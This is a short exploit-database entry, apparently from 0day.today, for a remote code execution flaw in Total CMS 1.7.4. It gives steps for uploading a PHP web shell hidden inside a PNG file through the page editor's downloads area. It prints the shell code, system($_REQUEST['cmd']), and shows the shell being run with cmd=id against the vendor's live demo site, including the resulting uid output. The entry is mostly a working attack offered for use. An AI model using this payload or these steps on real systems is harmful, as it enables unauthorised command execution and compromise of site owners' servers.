Total CMS 1.7.4 - Remote Code Execution Vulnerability

# Exploit Title: Total CMS 1.7.4 - Remote Code Execution (RCE)
# Exploit Author: tmrswrr
# Version: 1.7.4
# Vendor home page : https://www.totalcms.co/
 
1) Go to this page and click edit page button
https://www.totalcms.co/demo/soccer/
2)After go down and will you see downloads area
3)Add in this area shell.php file
 
 
?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>"  ?>
IEND
 
4) After open this file and write commands
 
https://www.totalcms.co/cms-data/depot/cmssoccerdepot/shell.php?cmd=id
Result :
 
?PNG ...
 
uid=996(caddy) gid=998(caddy) groups=998(caddy),33(www-data)
 
IEND
 
#  0day.today [2023-06-16]  #